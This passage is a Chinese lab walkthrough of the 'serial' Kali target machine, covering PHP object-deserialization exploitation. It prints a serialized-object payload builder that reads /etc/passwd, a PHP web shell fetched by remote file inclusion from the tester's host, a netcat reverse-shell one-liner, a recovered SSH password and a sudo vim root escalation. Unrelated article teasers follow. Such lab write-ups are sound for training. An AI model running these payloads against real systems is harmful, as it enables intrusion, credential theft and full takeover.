【kali靶机之serial】--反序列化漏洞实操

news2025/1/12 1:59:04

kali靶机配置

【我图片里没有截图的默认配置即可】需要改的地方图片里面都有。

使用kali扫描网关的主机。

扫到一个开放了80端口HTTP协议的主机ip

访问80端口

会看到一个文本页面,翻译一下看是什么意思。。

F12查看cookie,是一个base64编码了的东西

使用burpsuite解码功能解码,发现是一个代码

解码前:

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086NzoiV2VsY29tZSI6MDp7fX0=

解码后:

0:4:"User":2:{s:10:"Username";s:3:"sk4";s:9:"Userwel";0:7:"Welcome":0:{}}

使用webshell工具扫描目录 

右键将地址添加,扫描后查看到两个目录文件 ,访问一下。。

访问后会看到弹出一个文件下载界面。

进行代码审计


1.通过代码审计得知,首先index.php文件包含了user.class.php文件,对cookie中的user参数进行了序列化和base64编码,然后user.class.php文件包含了log.class.php,且定义了两个类,分别是Welcome和User,并调用了log.class.php文件中的handler函数。log.class.php文件又定义了Log类和成员变量type_log,且handler函数对变量还进行了文件包含和输出。

构造查看文件的payload

将下列的代码保存到自己的www目录下新建成一个php文件

<?php
  class Log {
    private $type_log = "/etc/passwd";
  }

  class User {
    private $name = "admin";
    private $wel;

    function __construct() {
      $this->wel = new Log();
  }
}
$obj = new User();
echo base64_encode(serialize($obj));

访问自己构造的payload

也就是访问自己建的payload.php。

查看到了base64编码后的payload。

抓包查看,将user=改为自己构造下的payload

可以看到查到了etc/passwd文件,可以看见sk4用户

再将自己编码后的payload解码

O:4:"User":2:{s:10:"Username";s:5:"admin";s:9:"Userwel";O:3:"Log":1:{s:13:"Logtype_log";s:11:"/etc/passwd";}}
<?php
  class Log {
    private $type_log = "http://172.16.1.65/3.txt";
  }

  class User {
    private $name = "admin";
    private $wel;

    function __construct() {
      $this->wel = new Log();
  }
}
$obj = new User();
echo base64_encode(serialize($obj));

构造连接cmd的payload

新建一个3.txt里面内容如下:

<?php @system($ GET['cmd']);?>

将之前自己www目录下的php文件内容改为如下(地址为自己的本机地址):

将页面显示得到的复制到burpsuite中

结果显示如下

在如图所示的地方写入?cmd=id,显示如下:

添加反弹shell

在?cmd后面添加如下:

rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+172.16.1.65+4444+>/tmp/f

没有反应,但是反弹shell成功。

重新抓包,将抓到的数据包该为自己改成的数据包,放包。

显示如下连接靶机成功:,,,,后续可以进行cmd命令操作靶机。

继续使用cmd命令查看靶机用户的账号密码

用户名sk4 ,密码是:KywZmnPWW6tTbW5w

进行远程连接

ssh sk4@192.168.189.157

输入你查到的密码。。。

sudo vim

提权

提权到了root用户

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1968910.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

再获奖项,亚信安慧AntDB数据库被评为“2023-2024国产数据库创新赋能优秀产品”

日前&#xff0c;由工业和信息化部直属的中国电子信息产业发展研究院赛迪网、《数字经济》杂志主办的第二届数字驱动创新峰会&#xff08;DDIS 2024&#xff09;在京隆重举办&#xff0c;“2023-2024数字创新优秀成果案例” 征集结果同期正式发布。亚信安慧AntDB数据库凭借多年…

「9月·张家口」第二届机器视觉、图像处理与影像技术国际会议(MVIPIT 2024)

第二届机器视觉、图像处理与影像技术国际会议(MVIPIT 2024)将于2024年9月13日-15日在中国张家口召开。MVIPIT 2024聚焦机器视觉、图像处理与影像技术&#xff0c;旨在为专家、学者和研究人员提供一个国际平台&#xff0c;分享研究成果&#xff0c;讨论问题和挑战&#xff0c;探…

ARM架构中的Cache stashing介绍

快速链接: . 👉👉👉 ARMv8/ARMv9架构入门到精通-[目录] 👈👈👈 付费专栏-付费课程 【购买须知】:个人博客笔记导读目录(全部) Reliability, Availability, and I/O coherent Requesting Node (RN-I)I/O coherent Requesting Node with DVM support (RN-D)Fully c…

【C#工具类】Excel接口(一)

目录 需求描述 具体需求分析 学习交流&#xff08;Bug待解决&#xff09; Debug代码&#xff08;写代码的过程&#xff0c;逐渐完善的过程&#xff09; 参考资料 扩展阅读 需求描述 用C#生成两个函数 1. 盲读Excel (Excel文件名) 读取所有单元格的数据&#xff0c;并输…

什么是IO多路复用?其原理和用途是什么?

什么是IO&#xff1f; IO&#xff1a;Input/Output&#xff0c;即数据的读取&#xff08;接收&#xff09;/写入&#xff08;发送&#xff09;操作&#xff0c;针对不同的数据存储媒介&#xff0c;大致可以分为网络 IO 和磁盘 IO 两种。在 Linux 系统中&#xff0c;为了保证系…

计算机毕业设计Hadoop+Hive专利分析可视化 面向专利的大数据管理系统 专利爬虫 专利数据分析 大数据毕业设计 Spark

《Hadoop专利大数据分析可视化系统》开题报告 一、选题背景与意义 随着信息技术的飞速发展&#xff0c;全球数据量呈现爆炸式增长&#xff0c;特别是在专利领域&#xff0c;数据的积累和更新速度更是惊人。专利数据不仅包含了技术创新的详细信息&#xff0c;还反映了行业的发…

Java数据结构(五)——栈和队列

文章目录 栈和队列栈基本概念栈的模拟实现集合框架中的栈栈的创建栈的方法栈的遍历 栈的应用及相关练习括号匹配逆波兰表达式求值出栈入栈次序匹配最小栈 几个含"栈"概念的区分 队列基本概念队列的模拟实现循环队列双端队列集合框架中的队列队列的创建队列的方法队列…

嵌入式day16

结构体与共用体 概述 通常结构体名第一个字符大写 } &#xff1b; 分号不能省略 类型名与变量名的关系 &#xff1a;抽象与具体的关系 . &#xff1a;结构体成员运算符 先有类型&#xff0c;再有定义 Student 可省略 使用者只能用全局变量s1&#xff0c;s2 全部初始化&am…

Redis缓存常见问题

Redis 缓存的穿透、雪崩、击穿是三种常见的问题&#xff0c;它们各自的表现和应对策略有所不同。以下是这三者的区别&#xff1a; 1. 缓存穿透&#xff08;Cache Penetration&#xff09; 现象: 缓存穿透是指客户端请求的数据在缓存中不存在&#xff0c;同时在数据库中也不存…

【avue+vue2+elementui】删除、rules、页面跳转和其他问题

一、删除 API/*** 删除.* @param {*} data * @returns 返参*/ export const deleteOrder = (data) => {return request({url: /api/Order/deleteOrder,method: post,data}) }HTML左菜单<template slot="menuLeft"><el-button size="small" typ…

余弦函数的希尔伯特变换过程推导

做例2.11.1的第一个公式&#xff0c;我懒得手写了&#xff0c;直接画图了。 我曾经百度了coswt的傅里叶变换的公式&#xff0c;发现百度的公式和我换元的不一样&#xff0c;我还以为我错了&#xff0c;大致考虑了傅里叶变换的过程之后&#xff0c;我确定&#xff0c;百度的余弦…

搭建日志系统ELK(二)

搭建日志系统ELK(二) 架构设计 在搭建以ELK为核心的日志系统时&#xff0c;Logstash作为日志采集的核心组件&#xff0c;负责将各个服务的日志数据采集、清洗、过滤。然而缺点也很明显&#xff1a; 占用较多的服务器资源。配置复杂&#xff0c;学习曲线陡峭。处理大数据量时…

通过阿里云OOS“快速设置”快速配置多地域运维任务

1. 介绍 什么是系统运维管理OOS? 系统运维管理OOS&#xff08;CloudOps Orchestration Service&#xff09;是阿里云提供的一项云上自动化运维服务&#xff0c;旨在帮助用户实现运维任务的自动化管理和执行。通过OOS&#xff0c;用户可以设计模板来详细定义执行任务的内容、…

软件开发人员如何有效提问

引子&#xff1a;小张的困惑 小张是一名刚入职的大数据开发工程师&#xff0c;满怀热情地加入了一个处理城市交通数据的项目。然而&#xff0c;面对复杂的数据流和繁琐的ETL过程&#xff0c;他很快就遇到了瓶颈。每次在团队会议上&#xff0c;他都不知道该如何准确地表达自己的…

通过Java实现插入排序(直接插入,希尔)与选择排序(直接选择,堆排)

目录 &#xff08;一&#xff09;插入排序 1.直接插入排序 &#xff08;1&#xff09;核心思想&#xff1a; &#xff08;2&#xff09;代码实现&#xff08;以从小到大排序为例&#xff09;&#xff1a; &#xff08;3&#xff09;代码分析&#xff1a; 2.希尔排序&#xff08…

C# 串口控制 校验

1. 串口控制 using System; using System.IO.Ports; using System.Windows.Forms;namespace 串口控制 {public partial class Form1 : Form{//device1const byte DeviceOpen1 0x01;const byte DeviceClose1 0x81;//device2const byte DeviceOpen2 0x02;const byte DeviceCl…

【Canvas与艺术】六角大楼

【成图】 【代码】 <!DOCTYPE html> <html lang"utf-8"> <meta http-equiv"Content-Type" content"text/html; charsetutf-8"/> <head><title>六角大楼</title><style type"text/css">.cen…

【WOA】鲸鱼优化算法详细解读

鲸鱼优化算法的详细解读 目录 一、引言 二、鲸鱼优化算法的原理 三、鲸鱼优化算法的主要步骤 四、鲸鱼优化算法的特点 五、Python代码实现 一、引言 在当今的优化问题中&#xff0c;随着问题复杂性的增加&#xff0c;传统的优化方法往往难以找到全局最优解。近年来&#…

【计算机毕业设计】​720图书馆智能选座系统

&#x1f64a;作者简介&#xff1a;拥有多年开发工作经验&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。&#x1f339;赠送计算机毕业设计600个选题excel文件&#xff0c;帮助大学选题。赠送开题报告模板&#xff…

仓库物品与装备物品替换

思路 1、创建UI面板以承载仓库中的物品和已装备的物品&#xff0c;以及物品名称和物品描述&#xff1b; 2、创建ItemData.cs装载物品的缩略图、描述并创建ItemData对象 3、创建一个脚本&#xff0c;声明并定义承载ItemData对象的数组、承载缩略图的数组。 4、显示缩略图、文…